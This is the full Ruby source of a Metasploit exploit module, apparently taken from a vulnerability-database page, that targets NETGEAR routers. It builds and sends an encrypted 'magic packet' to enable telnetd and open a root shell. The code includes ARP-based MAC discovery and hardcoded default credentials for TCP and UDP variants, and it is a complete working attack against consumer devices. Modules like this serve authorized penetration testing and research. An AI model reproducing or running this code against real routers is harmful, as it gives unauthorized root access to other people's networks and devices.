##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Capture
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR TelnetEnable',
'Description' => %q{
This module sends a magic packet to a NETGEAR device to enable telnetd.
Upon successful connect, a root shell should be presented to the user.
},
'Author' => [
'Paul Gebheim', # Python PoC (TCP)
'insanid', # Python PoC (UDP)
'wvu' # Metasploit module
],
'References' => [
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
['URL', 'https://github.com/insanid/netgear-telenetenable']
],
'DisclosureDate' => '2009-10-30', # Python PoC (TCP)
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' => [
['Automatic (detect TCP or UDP)',
proto: :auto
],
['TCP (typically older devices)',
proto: :tcp,
username: 'Gearguy',
password: 'Geardog'
],
['UDP (typically newer devices)',
proto: :udp,
username: 'admin',
password: 'password'
]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(23),
OptString.new('MAC', [false, 'MAC address of device']),
OptString.new('USERNAME', [false, 'Username on device']),
OptString.new('PASSWORD', [false, 'Password on device'])
])
end
def post_auth?
true
end
def default_credential?
true
end
def check
# Run through protocol detection
detect_proto
# This is a gamble, but it's the closest we can get
if @proto == :tcp
CheckCode::Detected
else
CheckCode::Unknown
end
end
def exploit
# Try to do the exploit unless telnetd is detected
@do_exploit = true
# Detect TCP or UDP and presence of telnetd
@proto = target[:proto]
detect_proto if @proto == :auto
if @do_exploit
# Use supplied or ARP-cached MAC address
configure_mac
# Use supplied or default creds
configure_creds
# Shell it
exploit_telnetenabled
end
# Connect to the shell
connect_telnetd
end
def detect_proto
begin
connect
res = begin
sock.get_once || ''
rescue EOFError
''
end
# telnetenabled returns no data, unlike telnetd
if res.length == 0
print_good('Detected telnetenabled on TCP')
else
print_good('Detected telnetd on TCP')
@do_exploit = false
end
@proto = :tcp
# It's UDP... and we may not get an ICMP error...
rescue Rex::ConnectionError
print_good('Detected telnetenabled on UDP')
@proto = :udp
ensure
disconnect
end
end
def configure_mac
@mac = datastore['MAC']
return if @mac
print_status('Attempting to discover MAC address via ARP')
begin
open_pcap
@mac = lookup_eth(rhost).first
rescue RuntimeError => e
fail_with(Failure::BadConfig, "#{e}. Are you root?")
ensure
close_pcap
end
if @mac
print_good("Found MAC address #{@mac}")
else
fail_with(Failure::Unknown, 'Could not find MAC address')
end
end
def configure_creds
@username = datastore['USERNAME'] || target[:username]
@password = datastore['PASSWORD'] || target[:password]
# Try to use default creds if no creds were found
unless @username && @password
tgt = targets.find { |t| t[:proto] == @proto }
@username = tgt[:username]
@password = tgt[:password]
end
print_good("Using creds #{@username}:#{@password}")
end
def exploit_telnetenabled
print_status('Generating magic packet')
payload = magic_packet(@mac, @username, @password)
begin
print_status("Connecting to telnetenabled via #{@proto.upcase}")
@proto == :tcp ? connect : connect_udp
print_status('Sending magic packet')
@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
rescue Rex::ConnectionError
fail_with(Failure::Disconnected, 'Something happened mid-connection!')
ensure
print_status('Disconnecting from telnetenabled')
@proto == :tcp ? disconnect : disconnect_udp
end
# Wait a couple seconds for telnetd to come up
print_status('Waiting for telnetd')
sleep(2)
end
def connect_telnetd
print_status('Connecting to telnetd')
connect
handler(sock)
end
# NOTE: This is almost a verbatim copy of the Python PoC
def magic_packet(mac, username, password)
mac = mac.gsub(/[:-]/, '').upcase
if mac.length != 12
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
end
just_mac = mac.ljust(0x10, "\x00")
if username.length > 0x10
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
end
just_username = username.ljust(0x10, "\x00")
if @proto == :tcp
if password.length > 0x10
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
end
just_password = password.ljust(0x10, "\x00")
elsif @proto == :udp
# Thanks to Roberto Frenna for the reserved field analysis
if password.length > 0x21
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
end
just_password = password.ljust(0x21, "\x00")
end
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
md5_key = Rex::Text.md5_raw(cleartext)
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
secret_key = 'AMBIT_TELNET_ENABLE+' + password
byte_swap(blowfish_encrypt(secret_key, payload))
end
def blowfish_encrypt(secret_key, payload)
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
cipher.padding = 0
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.update(payload) + cipher.final
end
def byte_swap(data)
data.unpack('N*').pack('V*')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation